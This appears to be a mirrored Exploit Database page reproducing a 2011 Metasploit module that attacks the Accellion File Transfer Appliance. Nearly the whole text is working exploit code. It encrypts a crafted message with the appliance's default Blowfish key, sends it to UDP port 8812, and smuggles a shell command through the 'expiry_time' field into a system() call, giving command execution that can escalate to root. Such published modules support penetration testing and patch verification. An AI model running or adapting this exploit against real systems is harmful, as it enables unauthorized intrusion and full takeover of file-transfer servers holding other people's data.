Accellion File Transfer Appliance MPIPE2 – Command Execution (Metasploit)

• Exploit Database
• 30 阅读

• 作者： Metasploit
  日期： 2011-03-11
• 类别：

  • remote
  平台：

  • unix
• 来源：https://www.exploit-db.com/exploits/16964/

• ##
  # $Id: accellion_fta_mpipe2.rb 11935 2011-03-11 17:37:23Z hdm $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  require 'openssl'
  require 'rexml/element'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Udp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Accellion File Transfer Appliance MPIPE2 Command Execution',
  			'Description'=> %q{
  					This module exploits a chain of vulnerabilities in the Accellion 
  				File Transfer appliance. This appliance exposes a UDP service on 
  				port 8812 that acts as a gateway to the internal communication bus. 
  				This service uses Blowfish encryption for authentication, but the 
  				appliance ships with two easy to guess default authentication keys. 
  				This module abuses the known default encryption keys to inject a 
  				message into the communication bus. In order to execute arbitrary 
  				commands on the remote appliance, a message is injected into the bus 
  				destined for the 'matchrep' service. This service exposes a function 
  				named 'insert_plugin_meta_info' which is vulnerable to an input 
  				validation flaw in a call to system(). This provides access to the 
  				'soggycat' user account, which has sudo privileges to run the 
  				primary admin tool as root. These two flaws are fixed in update
  				version FTA_8_0_562.	
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 11935 $',
  			'References' =>
  				[
  					['URL', 'http://www.rapid7.com/security-center/advisories/R7-0039.jsp'],
  				],
  			'Platform' => ['unix'],
  			'Arch' => ARCH_CMD,
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl ruby bash telnet',
  						}
  				},
  			'Targets'=>
  				[
  					[ 'Automatic', { } ]
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Feb 7 2011'
  		))
  
  		register_options(
  			[
  				Opt::RPORT(8812),
  				OptString.new('APPID', [true, 'The application ID (usually 1000)', '1000'])
  			], self.class)
  	end
  
  	def exploit
  		connect_udp
  		
  		appid = datastore['APPID']
  		encoded_command = REXML::Text.new(payload.encoded).to_s
  		
  		wddx = %Q|
  <wddxPacket version='1.0'>
  <header/>
  <data>
  	<struct>
  		<var name='50001'><string>insert_plugin_meta_info</string></var>
  		<var name='file_handle'><binary length='9'>MDAwMDAwMDAw</binary></var>
  		<var name='aid'><string>#{appid}</string></var>
  		<var name='client_ip'><string>127.0.0.1</string></var>
  		<var name='package_id'><string>1</string></var>
  		<var name='recipient_list'><array length='1'><string>#{Rex::Text.rand_text_alphanumeric(8)}</string></array></var>
  		<var name='expiry_time'><string>&apos;; #{encoded_command}; #&apos;</string></var>
  	</struct>
  </data>
  </wddxPacket>|
  
  		packet = [
  			rand(0xffffffff),	# Source Location ID
  			8888,				# Destination Location ID
  			rand(0xffff),		# Source Application
  			50001,				# Destination Application (matchrep)
  			Time.now.to_i
  		].pack("NNnnN") + wddx
  				
  		header = [
  			0,		# Flags
  			0,		#
  			1,		# Sequence Number (must be the lowest seen from Source ID)
  			33		# Execute (pass message to destination)
  		].pack("CCNC") + packet
  		
  		data = [ simple_checksum(header) ].pack("n") + header
  		enc= blowfish_encrypt("123456789ABCDEF0123456789ABCDEF0", data)
  		
  		udp_sock.put("\x01" + enc)
  		
  		handler
  		disconnect_udp
  	end
  	
  	def simple_checksum(data)	
  		sum = 0
  		data.unpack("C*").map{ |c| sum = (sum + c) & 0xffff }
  		sum
  	end
  	
  	#
  	# This implements blowfish-cbc with an MD5-expanded 448-bit key 
  	# using RandomIV for the initial value.
  	#
  	def blowfish_encrypt(pass, data)
  
  		# Forces 8-bit encoding
  		pass = pass.unpack("C*").pack("C*")
  		data = data.unpack("C*").pack("C*")
  		
  		# Use 448-bit keys with 8-byte IV
  		key_len = 56
  		iv_len= 8
  		
  		# Expand the key with MD5 (key-generated-key mode)
  		hash = OpenSSL::Digest::MD5.digest(pass)
  		while (hash.length < key_len)
  			hash << OpenSSL::Digest::MD5.digest(hash)
  		end
  	
  		key = hash[0, key_len]
  		iv= Rex::Text.rand_text(iv_len)
  
  		c = OpenSSL::Cipher::Cipher.new('bf-cbc')
  		c.encrypt
  		c.key_len = key_len
  		c.key = key
  		c.iv= iv
  		
  		"RandomIV" + iv + c.update(data) + c.final
  	end
  
  end